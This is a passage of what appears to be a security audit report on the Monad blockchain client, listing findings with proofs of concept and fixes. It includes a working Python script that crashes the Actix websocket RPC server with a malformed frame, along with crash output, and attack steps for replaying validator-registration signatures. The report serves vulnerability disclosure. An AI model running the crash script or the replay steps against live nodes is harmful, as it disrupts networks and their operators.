. This function is reproduced below:static bool is_writer_fd(ino_t ring_ino, int fdinfo_entry){ char const FDINFO_DELIM[] = "\t :"; char read_buf[256]; char *scan = read_buf; char *line; if (read(fdinfo_entry, read_buf, sizeof read_buf) == -1) { return false; } bool is_write = false; bool is_ino = false; while ((line = strsep(&scan, "\n"))) { char *key, *value = nullptr; key = strsep(&line, FDINFO_DELIM); while (line != nullptr) { value = strsep(&line, FDINFO_DELIM); } if (key != nullptr && strcmp(key, "flags") == 0 && value != nullptr) { unsigned long const flags = strtoul(value, nullptr, 0); is_write = flags & O_WRONLY || flags & O_RDWR; } if (key != nullptr && strcmp(key, "ino") == 0 && value != nullptr) { unsigned long const ino = strtoul(value, nullptr, 10); is_ino = ino == ring_ino; } } return is_write && is_ino;}
The file is read into
char read_buf[256]
usingread()
.read()
will only return -1 if it fails to read at all. If the file is larger thanchar read_buf[256]
,read()
will simply return256
, andis_writer_fd
will proceed to parse the buffer contents, which in this case is not guaranteed to be well-formed due to truncation. In seeking the next delimiter, and not encountering a terminating NULL, strsep may read beyond buffer bounds. Additionally, if the delimiter is found in the memory region afterread_buf
,strsep
will write a zero at this location, incurring stack corruption. This can lead to stability issues. This is a reasonable possibility since some files in/proc/<pid>/fdinfo/
have fields with long values.Additionally there is a risk that
read()
will not read the entire file. Given its declarationssize_t read(int fd, void buf[.count], size_t count)
, it is allowed to read0..count
bytes (including less thancount
bytes). Although unlikely, the function's logic should account for this possibility to prevent truncation even if the read buffer is sufficiently large.Proof of concept
#include <fcntl.h>#include <unistd.h>#include <string.h>#include <stdlib.h>#include <sys/types.h> /* Verbatim copy of is_writer_fd in https://github.com/category-labs/monad/commit/fca3deaa078ed0a0084a7c264807f22fd867273a */static bool is_writer_fd(ino_t ring_ino, int fdinfo_entry){ char const FDINFO_DELIM[] = "\t :"; char read_buf[256]; char *scan = read_buf; char *line; if (read(fdinfo_entry, read_buf, sizeof read_buf) == -1) { return false; } bool is_write = false; bool is_ino = false; while ((line = strsep(&scan, "\n"))) { char *key, *value = nullptr; key = strsep(&line, FDINFO_DELIM); while (line != nullptr) { value = strsep(&line, FDINFO_DELIM); } if (key != nullptr && strcmp(key, "flags") == 0 && value != nullptr) { unsigned long const flags = strtoul(value, nullptr, 0); is_write = flags & O_WRONLY || flags & O_RDWR; } if (key != nullptr && strcmp(key, "ino") == 0 && value != nullptr) { unsigned long const ino = strtoul(value, nullptr, 10); is_ino = ino == ring_ino; } } return is_write && is_ino;} int main(int argc, char** argv) { int fd = open(argv[1], O_RDONLY); if (fd != -1) { is_writer_fd(0, fd); close(fd); } return 0;}
Valgrind indicates branching on uninitialized memory occurs even with small (< 256 bytes), well-formed files, presumably because the
strsep
assumes arguments passed to it are NULL-terminated strings; these warnings disappear ifread_buf
ismemset
to 0 prior to reading.Recommendation
Ensure the entire file is read into a sufficiently large NULL-terminated buffer before parsing.
monad::async::working_temporary_directory,make_temporary_inode modify const objects
State
- Fixed
PR #1587
Severity
- Severity: Medium
≈
Likelihood: Medium×
Impact: Medium Submitted by
Guido Vranken
Description
monad::async::working_temporary_directory
casts away the constness ofstd::string::c_str()
and modifies it viamkostemp
:auto path2 = path / "monad_XXXXXX";fd = mkostemp( const_cast<char *>(path2.native().c_str()), O_DIRECT);
monad::async::make_temporary_inode
does the same viamkstemp
:auto buffer = working_temporary_directory() / "monad_XXXXXX";fd = mkstemp(const_cast<char *>(buffer.native().c_str()));
It is legal to remove constness from a
const
object or pointer usingconst_cast
, but it is undefined behavior to subsequently modify the contents of the const-removed object.From https://en.cppreference.com/w/cpp/language/const_cast.html:
Modifying a const object through a non-const access path and referring to a volatile object through a non-volatile glvalue results in undefined behavior.
For
std::string::c_str()
specifically, cppreference repeats the UB condition:https://en.cppreference.com/w/cpp/string/basic_string/c_str
Writing to the character array accessed through c_str() is undefined behavior.
Apart from the general undefined behavior,
std::string
is at liberty to allocate and return a copy of the underlying string whenc_str()
is invoked. Hence, any changes made to it might not affect thestd::filesystem::path
that the code aims to modify.Recommendation
Apply modifications only to a non-const
std::string
via itsdata()
method and, as needed, reconstruct astd::filesystem::path
object from the result.
Low Risk8 findings
RPC crash due to bug in Actix websocket parser
State
- Fixed
PR #2265
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
The Monad RPC can optionally be configured to accept websocket connections. It uses the
actix-http
crate to serve websocket connections. This crate contains a bug in the websocket frame parser where a malformed frame can cause the code to panic. This is a previously undiscovered bug in Actix.import socketimport base64import hashlibimport struct def send_malformed_websocket_frame(host, port, path="/"): WEBSOCKET_MAGIC = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" key = base64.b64encode(b"test_key_1234567").decode() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) try: request = ( f"GET {path} HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Connection: Upgrade\r\n" f"Upgrade: websocket\r\n" f"Sec-WebSocket-Key: {key}\r\n" f"Sec-WebSocket-Version: 13\r\n" f"\r\n" ) sock.send(request.encode()) response = sock.recv(1024).decode() if "101 Switching Protocols" not in response: print("WebSocket upgrade failed!") return malformed_frame = bytes([0x0a, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xeb, 0x0e, 0x8f]) sock.send(malformed_frame) finally: sock.close() HOST = "localhost" PORT = 8081PATH = "/" send_malformed_websocket_frame(HOST, PORT, PATH)
This stops the rpc server:
monad_rpc-1 | monad_rpc-1 | thread 'actix-server worker 1' panicked at /root/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.10.1/src/bytes_mut.rs:1153:9:monad_rpc-1 | cannot advance past `remaining`: 18446744073709551615 <= 0monad_rpc-1 | stack backtrace:monad_rpc-1 | note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.monad_rpc-1 exited with code 134
Recommendation
Report the issue to Actix and upgrade to the fixed version.
Validator deactivation / reactivation does not consider next_delta_stake during the boundary period
Severity
- Severity: Low
Submitted by
Haxatron
Description
(Issue found in commit hash 4cbb1742cd31ee30a0d2c6edb698400d9d70f9d8)
When the validator's auth address next epoch stake falls below the
MIN_VALIDATE_STAKE
the validator is deactivated indelegate
if (val.auth_address() == address && (val.get_flags() & ValidatorFlagWithdrawn) && del.get_next_epoch_stake() >= MIN_VALIDATE_STAKE) { val.clear_flag(ValidatorFlagWithdrawn); emit_validator_status_changed_event(val_id, val.get_flags()); }
When the validator's auth address is deactivated but its next epoch stake is increased in
precompile_undelegate
, the validator is then reactivated again.if (msg_sender == val.auth_address() && del.get_next_epoch_stake() < MIN_VALIDATE_STAKE) { val.set_flag(ValidatorFlagWithdrawn); emit_validator_status_changed_event(val_id, val.get_flags()); }
The next epoch stake is defined to be the sum of the current stake and delta stake:
uint256_t DelInfo::get_next_epoch_stake() const noexcept{ return stake().load().native() + delta_stake().load().native();}
In both cases, the next epoch stake is checked whether it is more than or equal to the
MIN_VALIDATE_STAKE
.However, this calculation does not include the fact that next delta stake can be promoted when an epoch progresses, which occurs when delegating during the boundary block. If suppose
MIN_VALIDATE_STAKE
is 100 and we have the following validator.stake = 100delta_stake = 0next_delta_stake = 100
If the validator undelegates
stake = 100
stake = 0delta_stake = 0next_delta_stake = 100
Then the next epoch stake will be 0, this validator will be marked with
ValidatorFlagWithdrawn
. However, this does not include the fact thatnext_delta_stake
will eventually be promoted, and the auth address next epoch stake will reachMIN_VALIDATE_STAKE
again, since validator deactivation and reactivation only occurs duringdelegate
orprecompile_undelegate
, the flag will incorrectly persist until the auth address calls either of the two precompile functions.Recommendation
get_next_epoch_stake
should be changed to bestake().load().native() + delta_stake().load().native() + next_delta_stake().load().native()
. Here is the proof:Case 1: Suppose we are not in a boundary period,
Since
touch_delegator
is called beforeget_next_epoch_stake
, that meansnext_delta_stake = 0
asnext_delta_stake
must have been promoted andnext_delta_stake
cannot have been set in a non-boundary period. Thereforeget_next_epoch_stake
is functionally equivalent in a non-boundary periodCase 2: Suppose we are in a boundary period,
As the snapshot of the current epoch has already been taken at the start of the boundary period, changing
get_next_epoch_stake
tostake().load().native() + delta_stake().load().native() + next_delta_stake().load().native()
will ensure delegating during the boundary period is equivalent to delegating in a non-boundary period in the next epoch before the next epoch snapshot, as with thedelta_stake
andnext_delta_stake
promotion,get_next_epoch_stake
will be equal for the current epoch and the next epoch.Therefore, the recommended change fixes the issue
Broken Input Validation in precompile_get_withdrawal_request
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
dtheo
Description
The precompile_get_withdrawal_request() function contains contradictory input validation logic that renders it unusable. The function first rejects any non-empty input, then immediately requires exactly 29 bytes of input data. These mutually exclusive conditions cause the function to fail for all possible inputs, preventing users from querying withdrawal request information through this interface.
Affected Code:
// staking_contract.cpp:400-411if (MONAD_UNLIKELY(!input.empty())) { // ← Rejects ANY non-empty input return StakeError::InvalidInput;}constexpr size_t MESSAGE_SIZE = sizeof(u64_be) + sizeof(Address) + sizeof(uint8_t);if (MONAD_UNLIKELY(input.size() != MESSAGE_SIZE)) { // ← Requires exactly 29 bytes return StakeError::InvalidInput;}
The logical error is in the first condition:
!input.empty()
evaluates to true for any input containing data, causing rejection of all non-empty inputs despite the function requiring data to operate.Proof of Concept
Function Failure Demonstration:
// Test Case 1: Empty inputbyte_string empty_input = {};auto result = precompile_get_withdrawal_request(empty_input, user_addr, 0);// Result: StakeError::InvalidInput// Reason: Passes first check, fails second check (0 ≠ 29 bytes) // Test Case 2: Correct format (29 bytes total)byte_string correct_input;correct_input.append(to_bytes(validator_id)); // 8 bytes (u64_be)correct_input.append(delegator_address.bytes); // 20 bytes (Address)correct_input.append(withdrawal_id); // 1 byte (uint8_t)auto result2 = precompile_get_withdrawal_request(correct_input, user_addr, 0);// Result: StakeError::InvalidInput// Reason: Fails first check (!correct_input.empty() == true) // Test Case 3: Any other input lengthbyte_string invalid_input = {0x01, 0x02, 0x03};auto result3 = precompile_get_withdrawal_request(invalid_input, user_addr, 0);// Result: StakeError::InvalidInput// Reason: Fails first check immediately // Conclusion: 100% failure rate regardless of input
Recommendation
Change
!input.empty()
toinput.empty()
(remove negation operator)Undefined behavior in RLP encoding functions with empty inputs
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
rlp::encode_list
andrlp::encode_string
consume abyte_string_view
(alias forstd::basic_string_view<unsigned char>
) whosedata()
method may or may not return NULL if it provides a view of zero bytes (e.g. thesize()
method returns 0).These functions invoke
memcpy
with the source parameter set tos.data()
. It is undefined behavior to invokememcpy
with a NULL pointer.Hence, undefined behavior occurs in
rlp::encode_list
andrlp::encode_string
if invoked with an emptybyte_string_view
whosedata()
method returns NULL.Proof of Concept
Add to category/core/test/encode_test.cpp:
monad::rlp::encode_string(buf, byte_string_view{});monad::rlp::encode_list(buf, byte_string_view{});
Compile project with
-fsanitize=undefined
and then run./build/category/core/test/encode_test
. Output:Running main() from ./googletest/src/gtest_main.cc[==========] Running 6 tests from 1 test suite.[----------] Global test environment set-up.[----------] 6 tests from rlp[ RUN ] rlp.impl_length_length[ OK ] rlp.impl_length_length (0 ms)[ RUN ] rlp.impl_encode_length[ OK ] rlp.impl_encode_length (0 ms)[ RUN ] rlp.string_length[ OK ] rlp.string_length (0 ms)[ RUN ] rlp.encode_string/home/jhg/monad-rlp-ub/monad-9aa5450f064b16f8c330ae47dffdc3ace51d46be/category/core/rlp/encode.hpp:94:31: runtime error: null pointer passed as argument 2, which is declared to never be null/usr/include/string.h:44:28: note: nonnull attribute specified hereSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/jhg/monad-rlp-ub/monad-9aa5450f064b16f8c330ae47dffdc3ace51d46be/category/core/rlp/encode.hpp:94:31 [ OK ] rlp.encode_string (1 ms)[ RUN ] rlp.list_length[ OK ] rlp.list_length (0 ms)[ RUN ] rlp.encode_list/home/jhg/monad-rlp-ub/monad-9aa5450f064b16f8c330ae47dffdc3ace51d46be/category/core/rlp/encode.hpp:140:31: runtime error: null pointer passed as argument 2, which is declared to never be null/usr/include/string.h:44:28: note: nonnull attribute specified hereSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/jhg/monad-rlp-ub/monad-9aa5450f064b16f8c330ae47dffdc3ace51d46be/category/core/rlp/encode.hpp:140:31 [ OK ] rlp.encode_list (0 ms)[----------] 6 tests from rlp (2 ms total) [----------] Global test environment tear-down[==========] 6 tests from 1 test suite ran. (2 ms total)[ PASSED ] 6 tests.
Recommendation
Skip
memcpy
inrlp::encode_list
andrlp::encode_string
ifs.empty()
.Category Labs: We are tracking it in this open issue
Infinite loop if 0 bytes requested from statesync_server_recv
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
statesync_server_recv
was rewritten here: https://github.com/category-labs/monad/commit/9e76bdb1b2e5f4c0b464f21bbe174ddfc8992497The code is reproduced below:
ssize_t statesync_server_recv( monad_statesync_server_network *const net, unsigned char *buf, size_t n){ while (true) { ssize_t ret = recv(net->fd, buf, n, MSG_DONTWAIT); if (ret == 0 || (ret < 0 && (errno == ECONNRESET || errno == ENOTCONN))) { LOG_WARNING("connection closed, reconnecting"); if (close(net->fd) < 0) { LOG_ERROR("failed to close socket: {}", strerror(errno)); } net->fd = -1; net->connect(); } else if ( ret < 0 && (errno != EAGAIN && errno != EWOULDBLOCK && errno != EINTR)) { LOG_ERROR("recv error: {}", strerror(errno)); return -1; } else { return ret; } }}
If
monad_statesync_server_network
is called withn
set to 0 (e.g. caller requests 0 bytes), thenrecv
will return 0, upon which the socket is reconnected and arecv
is attempted again, with the same outcome. This puts the code in an infinite loop.No such case currently exists in the code base but it is a conceivable scenario in dynamic multi-part transfers, that a context-independent communication API like this function should accomodate for (and is trivially able to).
Recommendation
Put
if (n == 0) return 0;
at the top of the function.Category Labs: We are tracking it in this open issue
Undefined behavior and type confusion in db_metadata.hpp atomic_memcpy
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
atomic_memcpy
aims to implement an atomic version ofmemcpy
by casting the source and destination buffers as contiguous regions ofstd::atomic<uint64_t>
objects. Casting primitive types as objects bypasses object construction and is undefined behavior.Moreover,
db_metadata
invokesatomic_memcpy
to copydb_metadata
objects, which pack a variety of primitive types other than justuint64_t
, such asuint8_t
,uint32_t
, sub-structs and unions. Casting these to the (conceptually) incompatible objectstd::atomic<uint64_t>
is type confusion.Category Labs: We are tracking it in this open issue
RLP Deserialization Ordering Optimization
State
- Acknowledged
Severity
- Severity: Low
≈
Likelihood: High×
Impact: Low Submitted by
dtheo
Description
The RaptorCast TCP message processing performs computationally complex RLP deserialization operations on untrusted input before signature verification and peer scoring checks. This processing order creates unnecessary computational overhead for unauthenticated attackers and can be optimized to reduce attack surface.
Proof-Of-Concept
Current Processing Order:
monad-bft/monad-raptorcast/src/lib.rs:725-739
// Lines 717-723: Basic signature deserializationlet signature = match ST::deserialize(signature_bytes) { Ok(signature) => signature, Err(err) => { warn!(?err, ?from_addr, "invalid signature"); continue; }}; // Lines 725-732: RLP parsing before signature verificationlet deserialized_message = match InboundRouterMessage::<M, ST>::try_deserialize(&app_message_bytes) { Ok(message) => message, Err(err) => { warn!(?err, ?from_addr, "failed to deserialize message"); continue; } }; // Lines 733-739: Signature verification happens after parsinglet from = match signature .recover_pubkey::<signing_domain::RaptorcastAppMessage>(app_message_bytes.as_ref()){ Ok(from) => from, Err(err) => { warn!(?err, ?from_addr, "failed to recover pubkey"); continue; }};
Resource Consumption Before Auth:
RLP deserialization includes:
- Complex nested structure parsing
- Memory allocation for parsed objects
- Compression decompression (up to 4GB risk when compression is enabled)
Attack Vector:
- Send TCP messages with valid headers and complex RLP payloads
- RLP parser consumes CPU cycles processing malformed/complex structures
- Large compressed payloads trigger decompression operations
- Processing occurs before signature verification
- Attacker can sustain resource consumption without valid credentials, even if peer-based rate limiting is implemented
Recommendation
Reorder Processing Steps:
// Extract minimal data needed for signature verification firstlet (signature_data, remaining_payload) = extract_signature_components(payload)?; // Perform signature verification on minimal datalet author = match verify_signature(&signature_data) { Ok(author) => author, Err(err) => { tracing::debug!(?err, "invalid signature, dropping message"); continue; // Exit immediately for invalid signatures }}; // Bonus: check peer score before expensive operations if !check_peer_score(&sender, &author) { continue; // Skip expensive parsing for low-scored senders} // Only parse full RLP for well-scored peerslet parsed_message = InboundRouterMessage::<IM, ST>::try_deserialize(remaining_payload)?;
Minimal Signature Extraction:
fn extract_signature_components(payload: &[u8]) -> Result<(SignatureData, &[u8]), ParseError> { // Parse only header fields needed for signature verification: // - Message version // - Signature bytes // - Hash for verification // Skip complex nested RLP structures until after peer scoring}
Early Signature Validation:
The optimized flow includes immediate signature validation with early exit:
// 1. Fast signature check - cryptographic validation onlylet author = match verify_signature(&signature_data) { Ok(author) => author, Err(_) => continue, // Immediate rejection - no further processing}; // 2. Only proceed to peer scoring for cryptographically valid messagesif !check_peer_score(&sender, &author) { continue; // Secondary filtering based on reputation} // 3. Full RLP parsing only for valid, well-scored peerslet parsed_message = parse_full_message(remaining_payload)?;
Processing Optimization Benefits:
- Immediate rejection of invalid signatures before any peer scoring checks
- Reduced CPU overhead for low-scored peer messages
- Earlier rejection of invalid/malicious senders
Bin::shr_ceil undersizes result
State
- Fixed
PR #1432
Severity
- Severity: Low
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
template <std::size_t N> class Bin
represents an unsigned integer of up to 32 bits whereN
tracks the capacity of the underlying valuevalue_
at compile-time.For some combinations of values and shift counts the method
shr_ceil
will undersize the result'sN
.Example:
const auto A = Bin<3>::unsafe_from(4); /* Good */const auto B1 = shr_ceil<1>(A); /* Good */const auto B2 = shr_ceil<2>(A); /* Fail: B3::value_ is 1, requiring 1 bit, but B3's N is 0 */const auto B3 = shr_ceil<3>(A);
N
andvalue_
are uncoupled. AnN
that is invalid with regards to the space requirement ofvalue_
does influencevalue_
. Hencevalue_
is always correct irrespective ofN
's drift, and there is no risk of incorrect calculations at runtime.
Informational13 findings
snprintf failure is not handled
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Medium Submitted by
Guido Vranken
Description
The
snprintf
return value has dual meaning. If non-negative, it denotes the number of bytes written to the buffer. If negative, it denotes an error occurred, and the output buffer should be regarded as undefined.Usage of
snprintf
in the code:monad/libs/db/src/monad/mpt/update_aux.cpp:1484: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1494: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1508: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1522: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1532: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1551: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1572: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1586: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1600: p += snprintf(monad/libs/db/src/monad/mpt/update_aux.cpp:1613: p += snprintf(monad/libs/async/src/monad/async/storage_pool.cpp:55: snprintf(in, sizeof(in), "/proc/self/fd/%d", cached_readwritefd_);monad/libs/core/src/monad/fiber/priority_pool.cpp:36: std::snprintf(name, 16, "worker %u", i);monad/libs/core/src/monad/core/assert.h:50: written = snprintf( \monad/libs/core/src/monad/core/assert.h:87: written = snprintf( \monad/libs/core/src/monad/core/assert.c:25: written = snprintf(monad/libs/core/src/monad/core/assert.c:37: written = snprintf(monad/libs/core/src/monad/core/backtrace.hpp:67: This call will be async signal safe if your platform's `snprintf()`monad/libs/core/src/monad/core/backtrace.hpp:69: is not guaranteed, `snprintf()` is allowed to call `malloc()` ormonad/libs/core/src/monad/core/format_err.c:22: rc = snprintf(monad/libs/core/src/monad/core/format_err.c:40: (void)snprintf(monad/libs/core/src/monad/core/backtrace.cpp:131: size_t(::vsnprintf(buffer, sizeof(buffer), fmt, args)),monad/libs/core/src/monad/event/event_ring.c:107: snprintf(namebuf, sizeof namebuf, "fd:%d [%d]", ring_fd, getpid());monad/libs/core/src/monad/event/event_ring.c:213: snprintf(namebuf, sizeof namebuf, "fd:%d [%d]", ring_fd, getpid());monad-compiler/libs/compiler/src/monad/vm/compiler/ir/x86/emitter.cpp:986: auto isize = snprintf(name, sizeof(name), "B%lx", d);
In most places, the return value is taken to mean the number of bytes written, and the possibility of
snprintf
failing is not taken into account.The chance of
snprintf
failing where the rendered string is small unlikely/impossible, though this is not guaranteed by the API contract. Conversely it is likely/guaranteed to fail if the rendered string would exceed 2 gigabytes, as this size cannot be expressed in theint
return value. This could escalate the construction of 2 gigabyte strings into something more serious affecting the memory layout.Especially where the return value is used to increment pointers, a negative return value can cause it to underflow valid memory regions. The likelihood of this happening is low but given the risk of memory corruption a mitigation strategy is meaningful.
Recommendation
Accomodate for
snprintf
failures by not using negative return values for pointer arithmetic, and assuming any output buffer state if that happens. Alternatively, embed an implementation ofsnprintf
which provides strong guarantees than the POSIX API contract does.Category Labs: We are tracking it in this open issue
Unnecessary infinity check on input points in BLS12-381 precompiles
State
- Fixed
PR #1492
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Description
In blst, the infinity point is considered to be on the curve.
static bool_t POINTonE1_affine_on_curve(const POINTonE1_affine *p) { vec384 XXX, YY; sqr_fp(XXX, p->X); mul_fp(XXX, XXX, p->X); /* X^3 */ add_fp(XXX, XXX, B_E1); /* X^3 + B */ sqr_fp(YY, p->Y); /* Y^2 */ return vec_is_equal(XXX, YY, sizeof(XXX));} int blst_p1_affine_on_curve(const POINTonE1_affine *p) { return (int)(POINTonE1_affine_on_curve(p) | vec_is_zero(p, sizeof(*p))); } int blst_p1_affine_is_inf(const POINTonE1_affine *p) { return (int)vec_is_zero(p, sizeof(*p)); }
blst_p1_affine_on_curve
returns true ifp
satisfies the Weierstrass equation ORp
is infinity. Hence, it is not necessary to also invokeblst_p1_affine_is_inf
as is currently done inread_g1
andread_g2
:auto const on_curve = blst_p1_affine_on_curve(&point);auto const is_infinity = blst_p1_affine_is_inf(&point); auto const valid = on_curve || is_infinity;if (MONAD_UNLIKELY(!valid)) { return std::nullopt;}
auto const on_curve = blst_p2_affine_on_curve(&point);auto const is_infinity = blst_p2_affine_is_inf(&point); auto const valid = on_curve || is_infinity;if (MONAD_UNLIKELY(!valid)) { return std::nullopt;}
Recommendation
Change to:
auto const on_curve_or_infinity = blst_p1_affine_on_curve(&point); if (MONAD_UNLIKELY(!on_curve_or_infinity)) { return std::nullopt;}
and
auto const on_curve_or_infinity = blst_p2_affine_on_curve(&point); if (MONAD_UNLIKELY(!on_curve_or_infinity)) { return std::nullopt;}
This is also what revm does: https://github.com/bluealloy/revm/blob/012aacedd6f64cb1e0ad651eace25a3bd3cb0191/crates/precompile/src/bls12_381/blst.rs#L377-L388
Return early when val.acc == del.acc in touch_delegator
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Haxatron
Description
(Issue found in commit hash 4cbb1742cd31ee30a0d2c6edb698400d9d70f9d8)
After the
if
statementif (del.stake().load().native() == 0
intouch_delegator
, a potential optimization can be made, ifval.acc == del.acc
,calculate_rewards
will return 0, as such it is unnecessary to continue calculating the current rewards intouch_delegator
and setdel.acc = val.acc
anddel.rewards = new_rewards
as those values will not change whenval.acc == del.acc
.Result<void> StakingContract::touch_delegator(u64_be const val_id, DelInfo &del){ ... if (del.stake().load().native() == 0) { // Running the below code is perfectly fine if delegator stake is zero. // However, we set del.acc = val.acc, which is wasteful. return outcome::success(); } // @optimization - return early when val.acc == del.acc
Recommendation
Change to:
Result<void> StakingContract::touch_delegator(u64_be const val_id, DelInfo &del){ ... if (del.stake().load().native() == 0 || del.acc().load().native() == val.acc().load().native() ) { // Running the below code is perfectly fine if delegator stake is zero. // However, we set del.acc = val.acc, which is wasteful. return outcome::success(); }
Cross-Network and Temporal Replay Attacks in add_validator
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
dtheo
Description
The precompile_add_validator() function accepts cryptographic signatures over validator registration data but lacks replay protection mechanisms such as nonces, timestamps, or chain identifiers in the signed message. This enables validator registration signatures to be replayed across different networks (testnet → mainnet) or replayed on the same network after validators have exited, potentially causing operational disruption and downstream penalties for unknowing validators.
Note- The downstream impact of this is limited and the cost of the attack is high (and may be unreasonable) for an attacker. This is being raised as an informational out of caution as there may be down stream impact that is not currently understood.
Affected Code:
// extract individual inputs byte_string_view message = input.substr(0, MESSAGE_SIZE); byte_string_view reader = input; auto const secp_pubkey_serialized = unaligned_load<byte_string_fixed<33>>(consume_bytes(reader, 33).data()); auto const bls_pubkey_serialized = unaligned_load<byte_string_fixed<48>>(consume_bytes(reader, 48).data()); auto const auth_address = unaligned_load<Address>(consume_bytes(reader, sizeof(Address)).data()); auto const signed_stake = unaligned_load<evmc_uint256be>( consume_bytes(reader, sizeof(evmc_uint256be)).data()); auto const commission = unaligned_load<u256_be>(consume_bytes(reader, sizeof(u256_be)).data()); auto const secp_signature_serialized = unaligned_load<byte_string_fixed<64>>(consume_bytes(reader, 64).data()); auto const bls_signature_serialized = unaligned_load<byte_string_fixed<96>>(consume_bytes(reader, 96).data());
The signed message contains only static validator parameters without unique identifiers that would prevent reuse across different contexts.
Proof of Concept
Cross-Network Replay Attack
Attack Steps:
- Testnet Registration: Validator legitimately registers on testnet with minimum stake
- Signature Extraction: Attacker monitors testnet and extracts complete registration transaction
- Mainnet Replay: Attacker replays identical transaction on mainnet
- Unwitting Registration: Validator is now registered on mainnet using real keys without knowledge
It is also possible that this same flow is used to re-register a valdiator on a network after it has been previously exited.
Possible Impact: Validator faces uptime penalties for non-participation on mainnet while unaware of registration. Commission rates signed on testnets are now possible on mainnet.
Effects can extend to app layer infrastructure (think eigenlayer or rocketpool equivalents). There may be scenarios where an attacker providing the minimum stake for a single validator could grieve a victim for significantly more than the cost of the validator deposit (imagine non-native token slashing in eigenlayer, rewards based off of validator uptime being diminished or disqualified completely).
Recommendation
Add replay protection fields to signed message: Include
chain_id
,nonce
, andexpiry_timestamp
in validator registration signaturesSilent Failure on Zero Amount Operations in precompile_delegate() and precompile_undelegate()
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
dtheo
Description
The
precompile_delegate()
andprecompile_undelegate()
functions silently succeed when called with zero amounts, returning success without performing any actual operations. This behavior is inconsistent with other precompile functions likeprecompile_add_validator()
which reject invalid zero amounts with explicit error messages. This silent failure pattern could create integration issues with downstream applications, monitoring systems, and user interfaces that expect consistent error handling across the staking system.The impact of this inconsistency is minimal so it is being raised as an informational finding.
Proof of Concept
Affected Code:
precompile_delegate()
silent success with 0 amountif (MONAD_LIKELY(stake != 0)) { // Skips delegation for 0 stake BOOST_OUTCOME_TRY(delegate(val_id, stake, msg_sender));}return byte_string{}; // Always returns success
precompile_undelegate()
silent success with 0 amountif (MONAD_UNLIKELY(amount == 0)) { return byte_string{}; // Returns success immediately}
This is in contrast with error handling in other functions: precompile_add_validator() - errors for 0 amount
if (MONAD_UNLIKELY(stake < MIN_VALIDATE_STAKE)) { // 0 fails this check return StakeError::InsufficientStake; // Explicit error}
Recommendation
Update similar precompile function calls to have consistent error reporting for null inputs. Alternatively, document these inconsistencies to prevent this behavior from potentially causing issues in downstream systems that interact with staking logic.
State Modification in Getter Functions
State
- Acknowledged
Severity
- Severity: Informational
≈
Likelihood: High×
Impact: Low Submitted by
dtheo
Description
touch_delegator()
performs multiple state modifications including delta promotion, compound calculations, and reward updates, yet is called by multiple getter functions (eg.precompile_get_delegator()
) which should only contain read operations. This pattern is likely to cause unexpected side effects. For example, querying delegator information actually modifies the delegator's state, potentially leading to state inconsistencies if the function fails part way through execution.Note- There is currently no significant impact of this issue as gas pricing for staking precompiles is still in development. This is being raised as an informational finding to provide awareness that issues can arise if this these "getter" calls are not adequately priced (closer to the cost of a state modifying call). Care should be given to evaluating the gas cost of these calls.
Proof of Concept
Example affected function:
// precompile_get_delegator() - Supposed "getter" modifies stateResult<byte_string> StakingContract::precompile_get_delegator(...) { auto del = vars.delegator(val_id, address); BOOST_OUTCOME_TRY(touch_delegator(val_id, del)); // ← Modifies state in getter return del.abi_encode();}... // The touch_delegator() function performs non-idempotent operations:// State modifications in "read" operation:if (can_promote_delta(del, vars.epoch.load())) { promote_delta(del); // ← Modifies delta_stake, delta_epoch fields}// Multiple reward calculations and accumulator updates follow
Recommendation
There are multiple possibilities on how to make these calls safe as they are developed futher:
- Change "getter" calls to not update state so that they can be allocated low gas pricing.
- Make a the gas price for these calls higher, inline with other state-changing precompiles.
- Separate out a low and high cost version of these getters with respective behaviors (no state change and state change)
Undefined behavior in FileDb::upsert by taking address of empty string_view
State
- Fixed
PR #1517
Severity
- Severity: Informational
≈
Likelihood: Low×
Impact: Low Submitted by
Guido Vranken
Summary
Finding Description
Until C++26, it is undefined behavior to do
&value[0]
ifvalue
is astd::string_view
andvalue
is empty.$ cat poc.cpp && clang++-20 -std=c++23 -D_GLIBCXX_DEBUG=1 poc.cpp && ./a.out #include <string_view> int main() { std::string_view sv; const char* ptr = &sv[0]; return 0;}/usr/lib/gcc/x86_64-linux-gnu/12/../../../../include/c++/12/string_view:239: const_reference std::basic_string_view<char>::operator[](size_type) const [_CharT = char, _Traits = std::char_traits<char>]: Assertion '__pos < this->_M_len' failed.Aborted
Reference: https://en.cppreference.com/w/cpp/string/basic_string_view/operator_at
In
FileDb::get()
you do the same but with astd::string
; that is technically legal since C++11.Recommendation
Return early if
value.empty()
, or usevalue.data()
. Optionally, apply the same change toFileDb::get
